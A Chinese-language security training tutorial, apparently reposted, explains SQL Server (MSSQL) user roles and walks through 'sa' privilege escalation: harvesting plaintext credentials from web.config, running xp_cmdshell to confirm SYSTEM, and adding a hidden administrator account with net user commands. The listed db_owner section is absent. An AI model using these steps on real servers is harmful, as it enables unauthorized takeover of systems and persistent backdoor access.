暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Sql Server 提权-小迪安全

小迪安全 2015-11-23
682

本文档与视频动画同步讲解,如需视频动画参考培训事项(回复序列号2获取)


作者:小迪

QQ:471656814

微信公众号:xiaodisec

个人博客:http://www.xiaosedi.com

0x00 Sql Server简介

0x01 用户权限介绍

0x02 Sa用户提权

0x03 db_owner提权

0x00 Sql Server简介

SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系,进行沟通。按照ANSI(美国国家标准协会)的规定,SQL被作为关系型数据库管理系统的标准语言。

SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由MicrosoftSybaseAshton-Tate三家公司共同开发的,并于1988年推出了第一个OS/2版本。Microsoft SQL Server近年来不断更新版本,1996年,Microsoft 推出了SQL Server 6.5版本;1998年,SQL Server 7.0版本和用户见面;SQL Server 2000Microsoft公司于2000年推出,目前最新版本是20123月份推出的SQL SERVER 2012

不知道大家以前或者现在有没有搞过端口抓鸡呢,1433端口,如果弄过的童鞋一定很熟悉这个端口,其实这个端口抓鸡的原理就是依靠SQL Server数据库的弱口令进行传马/执行cmd等一系列的入侵行为- -.其实sql server 也可以叫mssql相信这个大家会更熟悉一些.下面我们就来介绍Sql server 各个用户里的权限.

0x01 用户权限介绍

Sa 可以执行mssql数据库的所有操作

db_owner 执行所有数据库角色活动

public 维护所有默认权限
db_accessadmin 添加和删除数据库用户, 组及角色
db_ddladmin 添加、更改或删除数据库对象
db_security admin 分配语句执行和对象权限
db_backupoperator 备份数据库
db_datareader 读取任何表中的数据
db_datawriter 添加、更改或删除所有表中的数据
db_denydatareader 不能读取任何表中的数据
db_denydatawriter 不能更改任何表中的数据

在没降权的情况下,MSSQL的服务是以system权限运行的.注意这一点很重要,如果mssql服务是以users组或者guests组降权运行的话,会导致下面一系列的操作进行不了.

MSSQL的数据库帐户权限类似WINDWOS(这里是类似.不是等于),简单来说可以分为SADB_OWNER,PCUBLIC,SA 类似WINDWOS中的管理员,DB_OWNER类似WINDOWSPower Users.

Power Users高级用户可以改变所有配置,执行所有程序,唯一就是不能把自己加进administrators组去.mssql里的db_owner显然没windowsPower Users那么可爱,他相对

来说没那么大的权限,他不能执行程序.db_owner能对mssql数据库进行任何操作.比如建一个表,或者建一个字段,删除那个表删除那个字段,包括修改插入,都是可以做到的.仅限于自己所管理的数据库之内,他只在自己所在的数据库之内,他就不能深入到系统里面,去执行系统的命令,当然他也不能执行程序.也就是说如果你的mssql账号dbowner权限的话,你想上传个木马运行那是不现实的,PCUBLIC相当于users用户,只能在指定的数据库内进行一些简单的操作,不能用于提权.

0x02 Sa权限提权

在讲sa权限提权前我们先说说这个提权的前提一些重要点,第一mssql的服务没有降权,是以默认服务继承的权限来运行的.第二那就是找到sa的用户密码(你这不是废话么.小心我楼下丢你鸡蛋和臭菜叶子! 哎哟.砸中枪了).

0.0 先说说一般我是咋找的吧,在网站的目录下一般情况下,你是有可读可写的权限。 你可以尝试找一下asp网站的话大概就conn.asp(一般都放在这文件名的文件里,不过asp类型的网站很少有用到mssql,现在一般用asp的网站都是一些小型网站.access基本够了).如果是aspx类型的网站那就是web.config这个文件里了.一般数据库的数据库、账号、密码都是以明文保存的,当然也有一些不是以明文保存是以一些bin目录里的加密的base64的加密函数保存,或者是以hash加密保存下来的sa密码.这里不多做详细的解释.

hash加密的参考

http://it.anhuinews.com/network/442646/391737177179.shtml

Asp.net解密反编译

http://gov.com.im/art_design/2011/1113/asp-net%E8%A7%A3%E5%AF%86.html

现在,我们开始,sa提权之旅吧.


先扫描一遍端口,mssql开启的服务端口是1433..- -我这里是mssql2K不知道为啥.搭建的环境1433端口硬是没开..奇怪。 -0-我这里大概说一下.

接下来在网站的目录下找mssql连接的字符串

<add key="ConnectionString" value="server=(local);uid=sa;pwd=sa;database=Northwind" />

Local 本地ip

Uid=账号 sa

Pwd=密码 sa

Database=数据库 Northwind



server=localhost;UID=sa;PWD=sa;database=Northwind;Provider=SQLOLEDB

Server输入的是ip地址.

Uid就是mssql的账号pwd 就是mssql账号密码。这样看应该清晰了吧0.0

go的旁边的菜单栏点击一下,选择mssql.再点击go.


登陆以后我们首先看看他是什么权限.

Exec master.dbo.xp_cmdshell 'whoami'

返回nt authority\system

太好了,没有降权-0-System权限在基础篇上讲过,windows理论上最高权限的用户.这可是比administrator还要高很多.由于mssql默认安装下是继承系统的权限神马的.所以他有了system这权限.

接下来我们执行创建账号密码的mssql语句吧


5

Exec master.dbo.xp_cmdshell 'net user xiaoguai www.h4x0er.com /add'

Exec master.dbo.xp_cmdshell 'net localgroup administrators xiaoguai /add'

添加账号xiaoguai 密码www.h4x0er.com

xiaoguai添加到administrators这个用户组里(这里做个小提示,有些管理员为了恶心一下一些不咋懂用户组的小菜鸟,会把guests组改成administrators组来恶心人- -,最好就是先确定管理员所在的组,然后再把你的用户添加进那个组里面.)

Exec master.dbo.xp_cmdshell ' ' 在这''俩个单引号里面可以执行dos命令.是以system权限运行的.你可以把木马传上去,然后执行.提示执行成功了我们接着


本文档与视频动画同步讲解,如需视频动画参考培训事项(回复序列号2获取)


作者:小迪

QQ:471656814

微信公众号:xiaodisec

个人博客:http://www.xiaosedi.com


文章转载自小迪安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论